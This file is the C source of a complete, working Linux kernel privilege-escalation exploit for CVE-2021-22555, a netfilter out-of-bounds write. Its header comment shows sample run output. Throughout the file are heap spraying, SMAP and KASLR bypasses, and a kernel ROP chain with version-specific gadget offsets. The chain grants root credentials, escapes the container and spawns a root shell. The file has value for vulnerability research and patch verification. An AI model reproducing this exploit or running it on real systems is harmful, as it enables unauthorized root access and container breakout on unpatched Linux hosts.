/*

?* CVE-2021-22555: Turning \x00\x00 into 10000$

?* by Andy Nguyen (theflow@)

?*

?* theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c

?* theflow@theflow:~$ ./exploit

?* [+] Linux Privilege Escalation by theflow@ - 2021

?*

?* [+] STAGE 0: Initialization

?* [*] Setting up namespace sandbox...

?* [*] Initializing sockets and message queues...

?*

?* [+] STAGE 1: Memory corruption

?* [*] Spraying primary messages...

?* [*] Spraying secondary messages...

?* [*] Creating holes in primary messages...

?* [*] Triggering out-of-bounds write...

?* [*] Searching for corrupted primary message...

?* [+] fake_idx: ffc

?* [+] real_idx: fc4

?*

?* [+] STAGE 2: SMAP bypass

?* [*] Freeing real secondary message...

?* [*] Spraying fake secondary messages...

?* [*] Leaking adjacent secondary message...

?* [+] kheap_addr: ffff91a49cb7f000

?* [*] Freeing fake secondary messages...

?* [*] Spraying fake secondary messages...

?* [*] Leaking primary message...

?* [+] kheap_addr: ffff91a49c7a0000

?*

?* [+] STAGE 3: KASLR bypass

?* [*] Freeing fake secondary messages...

?* [*] Spraying fake secondary messages...

?* [*] Freeing sk_buff data buffer...

?* [*] Spraying pipe_buffer objects...

?* [*] Leaking and freeing pipe_buffer object...

?* [+] anon_pipe_buf_ops: ffffffffa1e78380

?* [+] kbase_addr: ffffffffa0e00000

?*

?* [+] STAGE 4: Kernel code execution

?* [*] Spraying fake pipe_buffer objects...

?* [*] Releasing pipe_buffer objects...

?* [*] Checking for root...

?* [+] Root privileges gained.

?*

?* [+] STAGE 5: Post-exploitation

?* [*] Escaping container...

?* [*] Cleaning up...

?* [*] Popping root shell...

?* root@theflow:/# id

?* uid=0(root) gid=0(root) groups=0(root)

?* root@theflow:/#

?*

?* Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+.

?*/

// clang-format off

#define _GNU_SOURCE

#include <err.h>

#include <errno.h>

#include <fcntl.h>

#include <inttypes.h>

#include <sched.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <net/if.h>

#include <netinet/in.h>

#include <sys/ipc.h>

#include <sys/msg.h>

#include <sys/socket.h>

#include <sys/syscall.h>

#include <linux/netfilter_ipv4/ip_tables.h>

// clang-format on

#define PAGE_SIZE 0x1000

#define PRIMARY_SIZE 0x1000

#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4

#define NUM_SKBUFFS 128

#define NUM_PIPEFDS 256

#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41

#define MTYPE_SECONDARY 0x42

#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

// #define KERNEL_COS_5_4_89 1

#define KERNEL_UBUNTU_5_8_0_48 1

// clang-format off

#ifdef KERNEL_COS_5_4_89

// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx]

#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8

// 0xffffffff815401df : pop rsp ; pop rbx ; ret

#define POP_RSP_POP_RBX_RET 0x5401DF

// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret

#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65

// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret

#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8

// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret

#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972

// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret

#define MOV_RSP_RBP_POP_RBP_RET 0x6748C

// 0xffffffff810c7c80 : pop rdx ; ret

#define POP_RDX_RET 0xC7C80

// 0xffffffff8143a2b4 : pop rsi ; ret

#define POP_RSI_RET 0x43A2B4

// 0xffffffff81067520 : pop rdi ; ret

#define POP_RDI_RET 0x67520

// 0xffffffff8100054b : pop rbp ; ret

#define POP_RBP_RET 0x54B

// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret

#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6

// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret

#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1

#define FIND_TASK_BY_VPID 0x963C0

#define SWITCH_TASK_NAMESPACES 0x9D080

#define COMMIT_CREDS 0x9EC10

#define PREPARE_KERNEL_CRED 0x9F1F0

#define ANON_PIPE_BUF_OPS 0xE51600

#define INIT_NSPROXY 0x1250590

#elif KERNEL_UBUNTU_5_8_0_48

// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39]

#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783

// 0xffffffff8109b6c0 : pop rsp ; ret

#define POP_RSP_RET 0x9B6C0

// 0xffffffff8106db59 : add rsp, 0xd0 ; ret

#define ADD_RSP_D0_RET 0x6DB59

// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret

#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3

// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret

#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3

// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret

#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF

// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret

#define MOV_RSP_RBP_POP_RBP_RET 0x891BC

// 0xffffffff810f5633 : pop rcx ; ret

#define POP_RCX_RET 0xF5633

// 0xffffffff811abaae : pop rsi ; ret

#define POP_RSI_RET 0x1ABAAE

// 0xffffffff81089250 : pop rdi ; ret

#define POP_RDI_RET 0x89250

// 0xffffffff810005ae : pop rbp ; ret

#define POP_RBP_RET 0x5AE

// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret

#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894

// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret

#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB

#define FIND_TASK_BY_VPID 0xBFBC0

#define SWITCH_TASK_NAMESPACES 0xC7A50

#define COMMIT_CREDS 0xC8C80

#define PREPARE_KERNEL_CRED 0xC9110

#define ANON_PIPE_BUF_OPS 0x1078380

#define INIT_NSPROXY 0x1663080

#else

#error "No kernel version defined"

#endif

// clang-format on

#define SKB_SHARED_INFO_SIZE 0x140

#define MSG_MSG_SIZE (sizeof(struct msg_msg))

#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))

struct msg_msg {

? uint64_t m_list_next;

? uint64_t m_list_prev;

? uint64_t m_type;

? uint64_t m_ts;

? uint64_t next;

? uint64_t security;

};

struct msg_msgseg {

? uint64_t next;

};

struct pipe_buffer {

? uint64_t page;

? uint32_t offset;

? uint32_t len;

? uint64_t ops;

? uint32_t flags;

? uint32_t pad;

? uint64_t private;

};

struct pipe_buf_operations {

? uint64_t confirm;

? uint64_t release;

? uint64_t steal;

? uint64_t get;

};

struct {

? long mtype;

? char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];

} msg_primary;

struct {

? long mtype;

? char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];

} msg_secondary;

struct {

? long mtype;

? char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];

} msg_fake;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,

? ? ? ? ? ? ? ? ? ?uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {

? msg->m_list_next = m_list_next;

? msg->m_list_prev = m_list_prev;

? msg->m_type = MTYPE_FAKE;

? msg->m_ts = m_ts;

? msg->next = next;

? msg->security = 0;

}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {

? *(long *)msgp = msgtyp;

? if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {

? ? perror("[-] msgsnd");

? ? return -1;

? }

? return 0;

}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {

? if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <

? ? ? 0) {

? ? perror("[-] msgrcv");

? ? return -1;

? }

? return 0;

}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {

? if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {

? ? perror("[-] msgrcv");

? ? return -1;

? }

? return 0;

}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {

? for (int i = 0; i < NUM_SOCKETS; i++) {

? ? for (int j = 0; j < NUM_SKBUFFS; j++) {

? ? ? if (write(ss[i][0], buf, size) < 0) {

? ? ? ? perror("[-] write");

? ? ? ? return -1;

? ? ? }

? ? }

? }

? return 0;

}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {

? for (int i = 0; i < NUM_SOCKETS; i++) {

? ? for (int j = 0; j < NUM_SKBUFFS; j++) {

? ? ? if (read(ss[i][1], buf, size) < 0) {

? ? ? ? perror("[-] read");

? ? ? ? return -1;

? ? ? }

? ? }

? }

? return 0;

}

int trigger_oob_write(int s) {

? struct __attribute__((__packed__)) {

? ? struct ipt_replace replace;

? ? struct ipt_entry entry;

? ? struct xt_entry_match match;

? ? char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];

? ? struct xt_entry_target target;

? } data = {0};

? data.replace.num_counters = 1;

? data.replace.num_entries = 1;

? data.replace.size = (sizeof(data.entry) + sizeof(data.match) +

? ? ? ? ? ? ? ? ? ? ? ?sizeof(data.pad) + sizeof(data.target));

? data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +

? ? ? ? ? ? ? ? ? ? ? ? ? ? sizeof(data.pad) + sizeof(data.target));

? data.entry.target_offset =

? ? ? (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));

? data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));

? strcpy(data.match.u.user.name, "icmp");

? data.match.u.user.revision = 0;

? data.target.u.user.target_size = sizeof(data.target);

? strcpy(data.target.u.user.name, "NFQUEUE");

? data.target.u.user.revision = 1;

? // Partially overwrite the adjacent buffer with 2 bytes of zero.

? if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {

? ? if (errno == ENOPROTOOPT) {

? ? ? printf("[-] Error ip_tables module is not loaded.\n");

? ? ? return -1;

? ? }

? }

? return 0;

}

// Note: Must not touch offset 0x10-0x18.

void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {

? uint64_t *rop;

#ifdef KERNEL_COS_5_4_89

? *(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET;

? rop = (uint64_t *)&buf[0x18];

? // Save RBP at scratchpad_addr.

? *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET;

? *rop++ = scratchpad_addr; // R14

? *rop++ = 0xDEADBEEF; ? ? ?// RBP

? *rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET;

? *rop++ = 0xDEADBEEF; // RBX

? *rop++ = 0xDEADBEEF; // R14

? *rop++ = 0xDEADBEEF; // RBP

? // commit_creds(prepare_kernel_cred(NULL))

? *rop++ = kbase_addr + POP_RDI_RET;

? *rop++ = 0; // RDI

? *rop++ = kbase_addr + PREPARE_KERNEL_CRED;

? *rop++ = kbase_addr + POP_RDX_RET;

? *rop++ = 1; // RDX

? *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;

? *rop++ = 0xDEADBEEF; // RBP

? *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;

? *rop++ = 0xDEADBEEF; // RBP

? *rop++ = kbase_addr + COMMIT_CREDS;

? // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)

? *rop++ = kbase_addr + POP_RDI_RET;

? *rop++ = 1; // RDI

? *rop++ = kbase_addr + FIND_TASK_BY_VPID;

? *rop++ = kbase_addr + POP_RDX_RET;

? *rop++ = 1; // RDX

? *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;

? *rop++ = 0xDEADBEEF; // RBP

? *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;

? *rop++ = 0xDEADBEEF; // RBP

? *rop++ = kbase_addr + POP_RSI_RET;

? *rop++ = kbase_addr + INIT_NSPROXY; // RSI

? *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

? // Load RBP from scratchpad_addr and resume execution.

? *rop++ = kbase_addr + POP_RBP_RET;

? *rop++ = scratchpad_addr - 0x25; // RBP

? *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET;

? *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;

#elif KERNEL_UBUNTU_5_8_0_48

? *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;

? *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

? rop = (uint64_t *)&buf[0xD8];

? // Save RBP at scratchpad_addr.

? *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;

? *rop++ = scratchpad_addr; // R12

? *rop++ = 0xDEADBEEF; ? ? ?// RBP

? *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;

? *rop++ = 0xDEADBEEF; // RBX

? *rop++ = 0xDEADBEEF; // R12

? *rop++ = 0xDEADBEEF; // RBP

? // commit_creds(prepare_kernel_cred(NULL))

? *rop++ = kbase_addr + POP_RDI_RET;

? *rop++ = 0; // RDI

? *rop++ = kbase_addr + PREPARE_KERNEL_CRED;

? *rop++ = kbase_addr + POP_RCX_RET;

? *rop++ = 4; // RCX

? *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;

? *rop++ = 0xDEADBEEF; // RBP

? *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;

? *rop++ = kbase_addr + COMMIT_CREDS;

? // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)

? *rop++ = kbase_addr + POP_RDI_RET;

? *rop++ = 1; // RDI

? *rop++ = kbase_addr + FIND_TASK_BY_VPID;

? *rop++ = kbase_addr + POP_RCX_RET;

? *rop++ = 4; // RCX

? *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;

? *rop++ = 0xDEADBEEF; // RBP

? *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;

? *rop++ = kbase_addr + POP_RSI_RET;

? *rop++ = kbase_addr + INIT_NSPROXY; // RSI

? *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

? // Load RBP from scratchpad_addr and resume execution.

? *rop++ = kbase_addr + POP_RBP_RET;

? *rop++ = scratchpad_addr - 0xA; // RBP

? *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;

? *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;

#endif

}

int setup_sandbox(void) {

? if (unshare(CLONE_NEWUSER) < 0) {

? ? perror("[-] unshare(CLONE_NEWUSER)");

? ? return -1;

? }

? if (unshare(CLONE_NEWNET) < 0) {

? ? perror("[-] unshare(CLONE_NEWNET)");

? ? return -1;

? }

? cpu_set_t set;

? CPU_ZERO(&set);

? CPU_SET(0, &set);

? if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {

? ? perror("[-] sched_setaffinity");

? ? return -1;

? }

? return 0;

}

int main(int argc, char *argv[]) {

? int s;

? int fd;

? int ss[NUM_SOCKETS][2];

? int pipefd[NUM_PIPEFDS][2];

? int msqid[NUM_MSQIDS];

? char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];

? char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];

? struct msg_msg *msg;

? struct pipe_buf_operations *ops;

? struct pipe_buffer *buf;

? uint64_t pipe_buffer_ops = 0;

? uint64_t kheap_addr = 0, kbase_addr = 0;

? int fake_idx = -1, real_idx = -1;

? printf("[+] Linux Privilege Escalation by theflow@ - 2021\n");

? printf("\n");

? printf("[+] STAGE 0: Initialization\n");

? printf("[*] Setting up namespace sandbox...\n");

? if (setup_sandbox() < 0)

? ? goto err_no_rmid;

? printf("[*] Initializing sockets and message queues...\n");

? if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

? ? perror("[-] socket");

? ? goto err_no_rmid;

? }

? for (int i = 0; i < NUM_SOCKETS; i++) {

? ? if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {

? ? ? perror("[-] socketpair");

? ? ? goto err_no_rmid;

? ? }

? }

? for (int i = 0; i < NUM_MSQIDS; i++) {

? ? if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {

? ? ? perror("[-] msgget");

? ? ? goto err_no_rmid;

? ? }

? }

? printf("\n");

? printf("[+] STAGE 1: Memory corruption\n");

? printf("[*] Spraying primary messages...\n");

? for (int i = 0; i < NUM_MSQIDS; i++) {

? ? memset(&msg_primary, 0, sizeof(msg_primary));

? ? *(int *)&msg_primary.mtext[0] = MSG_TAG;

? ? *(int *)&msg_primary.mtext[4] = i;

? ? if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <

? ? ? ? 0)

? ? ? goto err_rmid;

? }

? printf("[*] Spraying secondary messages...\n");

? for (int i = 0; i < NUM_MSQIDS; i++) {

? ? memset(&msg_secondary, 0, sizeof(msg_secondary));

? ? *(int *)&msg_secondary.mtext[0] = MSG_TAG;

? ? *(int *)&msg_secondary.mtext[4] = i;

? ? if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),

? ? ? ? ? ? ? ? ? MTYPE_SECONDARY) < 0)

? ? ? goto err_rmid;

? }

? printf("[*] Creating holes in primary messages...\n");

? for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {

? ? if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <

? ? ? ? 0)

? ? ? goto err_rmid;

? }

? printf("[*] Triggering out-of-bounds write...\n");

? if (trigger_oob_write(s) < 0)

? ? goto err_rmid;

? printf("[*] Searching for corrupted primary message...\n");

? for (int i = 0; i < NUM_MSQIDS; i++) {

? ? if (i != 0 && (i % HOLE_STEP) == 0)

? ? ? continue;

? ? if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)

? ? ? goto err_no_rmid;

? ? if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {

? ? ? printf("[-] Error could not corrupt any primary message.\n");

? ? ? goto err_no_rmid;

? ? }

? ? if (*(int *)&msg_secondary.mtext[4] != i) {

? ? ? fake_idx = i;

? ? ? real_idx = *(int *)&msg_secondary.mtext[4];

? ? ? break;

? ? }

? }

? if (fake_idx == -1 && real_idx == -1) {

? ? printf("[-] Error could not corrupt any primary message.\n");

? ? goto err_no_rmid;

? }

? // fake_idx's primary message has a corrupted next pointer; wrongly

? // pointing to real_idx's secondary message.

? printf("[+] fake_idx: %x\n", fake_idx);

? printf("[+] real_idx: %x\n", real_idx);

? printf("\n");

? printf("[+] STAGE 2: SMAP bypass\n");

? printf("[*] Freeing real secondary message...\n");

? if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),

? ? ? ? ? ? ? ?MTYPE_SECONDARY) < 0)

? ? goto err_rmid;

? // Reclaim the previously freed secondary message with a fake msg_msg of

? // maximum possible size.

? printf("[*] Spraying fake secondary messages...\n");

? memset(secondary_buf, 0, sizeof(secondary_buf));

? build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,

? ? ? ? ? ? ? ? PAGE_SIZE - MSG_MSG_SIZE, 0);

? if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)

? ? goto err_rmid;

? // Use the fake secondary message to read out-of-bounds.

? printf("[*] Leaking adjacent secondary message...\n");

? if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)

? ? goto err_rmid;

? // Check if the leak is valid.

? if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {

? ? printf("[-] Error could not leak adjacent secondary message.\n");

? ? goto err_rmid;

? }

? // The secondary message contains a pointer to the primary message.

? msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];

? kheap_addr = msg->m_list_next;

? if (kheap_addr & (PRIMARY_SIZE - 1))

? ? kheap_addr = msg->m_list_prev;

? printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

? if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {

? ? printf("[-] Error kernel heap address is incorrect.\n");

? ? goto err_rmid;

? }

? printf("[*] Freeing fake secondary messages...\n");

? free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

? // Put kheap_addr at next to leak its content. Assumes zero bytes before

? // kheap_addr.

? printf("[*] Spraying fake secondary messages...\n");

? memset(secondary_buf, 0, sizeof(secondary_buf));

? build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,

? ? ? ? ? ? ? ? sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);

? if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)

? ? goto err_rmid;

? // Use the fake secondary message to read from kheap_addr.

? printf("[*] Leaking primary message...\n");

? if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)

? ? goto err_rmid;

? // Check if the leak is valid.

? if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {

? ? printf("[-] Error could not leak primary message.\n");

? ? goto err_rmid;

? }

? // The primary message contains a pointer to the secondary message.

? msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];

? kheap_addr = msg->m_list_next;

? if (kheap_addr & (SECONDARY_SIZE - 1))

? ? kheap_addr = msg->m_list_prev;

? // Calculate the address of the fake secondary message.

? kheap_addr -= SECONDARY_SIZE;

? printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

? if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {

? ? printf("[-] Error kernel heap address is incorrect.\n");

? ? goto err_rmid;

? }

? printf("\n");

? printf("[+] STAGE 3: KASLR bypass\n");

? printf("[*] Freeing fake secondary messages...\n");

? free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

? // Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.

? printf("[*] Spraying fake secondary messages...\n");

? memset(secondary_buf, 0, sizeof(secondary_buf));

? build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);

? if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)

? ? goto err_rmid;

? printf("[*] Freeing sk_buff data buffer...\n");

? if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)

? ? goto err_rmid;

? printf("[*] Spraying pipe_buffer objects...\n");

? for (int i = 0; i < NUM_PIPEFDS; i++) {

? ? if (pipe(pipefd[i]) < 0) {

? ? ? perror("[-] pipe");

? ? ? goto err_rmid;

? ? }

? ? // Write something to populate pipe_buffer.

? ? if (write(pipefd[i][1], "pwn", 3) < 0) {

? ? ? perror("[-] write");

? ? ? goto err_rmid;

? ? }

? }

? printf("[*] Leaking and freeing pipe_buffer object...\n");

? for (int i = 0; i < NUM_SOCKETS; i++) {

? ? for (int j = 0; j < NUM_SKBUFFS; j++) {

? ? ? if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {

? ? ? ? perror("[-] read");

? ? ? ? goto err_rmid;

? ? ? }

? ? ? if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)

? ? ? ? pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];

? ? }

? }

? kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;

? printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);

? printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

? if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {

? ? printf("[-] Error kernel base address is incorrect.\n");

? ? goto err_rmid;

? }

? printf("\n");

? printf("[+] STAGE 4: Kernel code execution\n");

? printf("[*] Spraying fake pipe_buffer objects...\n");

? memset(secondary_buf, 0, sizeof(secondary_buf));

? buf = (struct pipe_buffer *)&secondary_buf;

? buf->ops = kheap_addr + 0x290;

? ops = (struct pipe_buf_operations *)&secondary_buf[0x290];

#ifdef KERNEL_COS_5_4_89

? // RAX points to &buf->ops.

? // RCX points to &buf.

? ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;

#elif KERNEL_UBUNTU_5_8_0_48

? // RSI points to &buf.

? ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;

#endif

? build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);

? if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)

? ? goto err_rmid;

? // Trigger pipe_release().

? printf("[*] Releasing pipe_buffer objects...\n");

? for (int i = 0; i < NUM_PIPEFDS; i++) {

? ? if (close(pipefd[i][0]) < 0) {

? ? ? perror("[-] close");

? ? ? goto err_rmid;

? ? }

? ? if (close(pipefd[i][1]) < 0) {

? ? ? perror("[-] close");

? ? ? goto err_rmid;

? ? }

? }

? printf("[*] Checking for root...\n");

? if ((fd = open("/etc/shadow", O_RDONLY)) < 0) {

? ? printf("[-] Error could not gain root privileges.\n");

? ? goto err_rmid;

? }

? close(fd);

? printf("[+] Root privileges gained.\n");

? printf("\n");

? printf("[+] STAGE 5: Post-exploitation\n");

? printf("[*] Escaping container...\n");

? setns(open("/proc/1/ns/mnt", O_RDONLY), 0);

? setns(open("/proc/1/ns/pid", O_RDONLY), 0);

? setns(open("/proc/1/ns/net", O_RDONLY), 0);

? printf("[*] Cleaning up...\n");

? for (int i = 0; i < NUM_MSQIDS; i++) {

? ? // TODO: Fix next pointer.

? ? if (i == fake_idx)

? ? ? continue;

? ? if (msgctl(msqid[i], IPC_RMID, NULL) < 0)

? ? ? perror("[-] msgctl");

? }

? for (int i = 0; i < NUM_SOCKETS; i++) {

? ? if (close(ss[i][0]) < 0)

? ? ? perror("[-] close");

? ? if (close(ss[i][1]) < 0)

? ? ? perror("[-] close");

? }

? if (close(s) < 0)

? ? perror("[-] close");

? printf("[*] Popping root shell...\n");

? char *args[] = {"/bin/bash", "-i", NULL};

? execve(args[0], args, NULL);

? return 0;

err_rmid:

? for (int i = 0; i < NUM_MSQIDS; i++) {

? ? if (i == fake_idx)

? ? ? continue;

? ? if (msgctl(msqid[i], IPC_RMID, NULL) < 0)

? ? ? perror("[-] msgctl");

? }

err_no_rmid:

? return 1;

}